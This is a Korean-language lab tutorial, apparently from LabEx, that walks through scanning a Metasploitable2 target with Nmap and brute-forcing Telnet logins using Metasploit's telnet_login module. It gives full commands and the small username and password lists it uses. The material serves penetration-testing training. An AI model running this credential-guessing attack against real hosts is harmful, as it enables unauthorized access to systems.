Metasploit을 이용한 Telnet 서비스 취약점 공격

NmapBeginner
지금 연습하기

소개

이 실습에서는 Telnet 서비스 취약점을 공격하고 모의 해킹을 수행하는 방법을 배웁니다. 공격 머신으로 Kali Linux를, 타겟 머신으로 Metasploitable2 가상 머신을 사용합니다. 목표는 타겟 머신을 스캔하여 취약점을 찾고, Telnet 서비스 취약점을 식별한 뒤 Metasploit Framework를 사용하여 이를 공격하는 것입니다.

실습 환경 시작하기

이 단계에서는 Kali Linux 컨테이너와 Metasploitable2 가상 머신을 포함한 실습 환경을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령어를 실행하여 Metasploitable2 타겟을 시작합니다:
sudo virsh start Metasploitable2

타겟 머신이 시작될 때까지 1~3분 정도 기다려 주세요.

  1. ping 명령어를 사용하여 타겟 머신과의 연결을 테스트합니다:
ping 192.168.122.102

Ctrl+C를 눌러 ping을 중지합니다.

  1. Kali Linux 컨테이너를 실행하고 다음 명령어를 통해 bash 환경으로 진입합니다:
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 타겟 머신으로의 네트워크 연결을 테스트합니다:
ping 192.168.122.102

Ctrl+C를 눌러 ping을 중지합니다.

이제 공격 머신과 타겟 머신이 모두 실행 중이며, 모의 해킹을 시작할 수 있습니다.

참고: 실수로 현재 bash를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새로운 Kali 컨테이너를 시작하고 bash에 진입하여 실습을 계속할 수 있습니다.

취약점 스캔 수행하기

이 단계에서는 Nmap을 사용하여 타겟 머신의 열린 포트와 서비스를 스캔합니다.

먼저, Metasploit이 데이터 저장을 위해 사용하는 PostgreSQL 데이터베이스를 시작합니다:

service postgresql start
msfdb init
cd ~
msfconsole

Metasploit 콘솔 내에서 타겟 머신을 대상으로 Nmap 스캔을 실행합니다:

nmap -sV -T4 192.168.122.102

-sV 옵션은 열린 포트를 스캔하고 상세한 포트 정보를 보여주며, -T4는 스캔 타이밍 정책을 설정합니다(0~5 단계, 숫자가 클수록 빠르지만 네트워크 부하가 큽니다).

스캔 결과 분석하기

이 단계에서는 Nmap 스캔 결과를 분석하여 취약한 Telnet 서비스를 식별합니다.

Nmap 스캔 결과, 포트 23번에서 "Linux telnetd" 배너와 함께 Telnet 서비스가 실행 중임을 확인할 수 있습니다. 이에 해당하는 Metasploit 모듈을 검색해 봅니다:

search scanner/telnet

auxiliary/scanner/telnet/telnet_login 모듈을 사용합니다:

use auxiliary/scanner/telnet/telnet_login

모듈 옵션을 확인합니다:

show options

필수 옵션은 타겟 호스트를 지정하는 RHOSTS입니다.

Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요

사용자 이름 및 비밀번호 사전 준비하기

이 단계에서는 로그인 무차별 대입(Brute-force) 공격을 위한 사용자 이름 및 비밀번호 사전 파일을 준비합니다.

파일을 생성하기 전에 Kali 컨테이너 셸로 돌아갑니다. 여전히 msfconsole 내부에 있다면 Ctrl+D를 눌러 컨테이너 셸로 나옵니다. 프롬프트가 root@...:/#와 같은 형태여야 합니다.

다음 사용자 이름들을 포함하는 /username.txt를 생성합니다:

cat > /username.txt <<'EOF'
123456
admin
msfadmin
root
kali
EOF

다음 비밀번호들을 포함하는 /password.txt를 생성합니다:

cat > /password.txt <<'EOF'
abc123
1234
123456
root
msfadmin
admin
toor
EOF

이 파일들은 무차별 대입 공격을 위한 사용자 이름 및 비밀번호 사전으로 사용됩니다.

Metasploit 모듈 구성하기

이 단계에서는 타겟 호스트, 사용자 이름 사전, 비밀번호 사전을 사용하여 Metasploit 모듈을 구성합니다.

먼저, Metasploit 콘솔에 있지 않다면 콘솔을 시작합니다:

cd ~
msfconsole

auxiliary/scanner/telnet/telnet_login 모듈을 사용합니다:

use auxiliary/scanner/telnet/telnet_login

타겟 호스트를 설정합니다:

set RHOSTS 192.168.122.102

사용자 이름 사전 파일을 설정합니다:

set USER_FILE /username.txt

비밀번호 사전 파일을 설정합니다:

set PASS_FILE /password.txt

마지막으로 공격을 실행합니다:

exploit

Metasploit이 제공된 사전에서 다양한 사용자 이름과 비밀번호 조합을 시도하기 시작합니다. 유효한 자격 증명이 발견되면 녹색으로 표시됩니다.

이 경우, 유효한 자격 증명은 msfadmin/msfadmin입니다.

Ctrl+D를 눌러 Metasploit 콘솔을 종료한 후 검사를 시작하세요

요약

이번 실습에서는 Metasploit Framework를 사용하여 Telnet 서비스 취약점을 공격하는 방법을 배웠습니다. Kali Linux 공격 머신과 Metasploitable2 타겟 머신으로 실습 환경을 구축하는 것부터 시작했습니다. 이후 Nmap을 사용하여 취약점 스캔을 수행하고 열려 있는 Telnet 서비스를 식별했습니다. 다음으로 사용자 이름 및 비밀번호 사전 파일을 준비하고, 타겟 호스트와 사전 파일을 사용하여 Metasploit 모듈을 구성했습니다. 마지막으로 공격을 실행하여 Telnet 로그인 자격 증명을 무차별 대입 방식으로 성공적으로 찾아냈습니다.

이 실습을 통해 모의 해킹, 취약점 스캔, 그리고 취약점 공격을 위한 Metasploit Framework 활용에 대한 실무 경험을 쌓을 수 있었습니다. 또한 안전한 비밀번호 관리의 중요성과 취약하거나 추측하기 쉬운 자격 증명을 사용할 때의 잠재적 위험성을 확인할 수 있었습니다.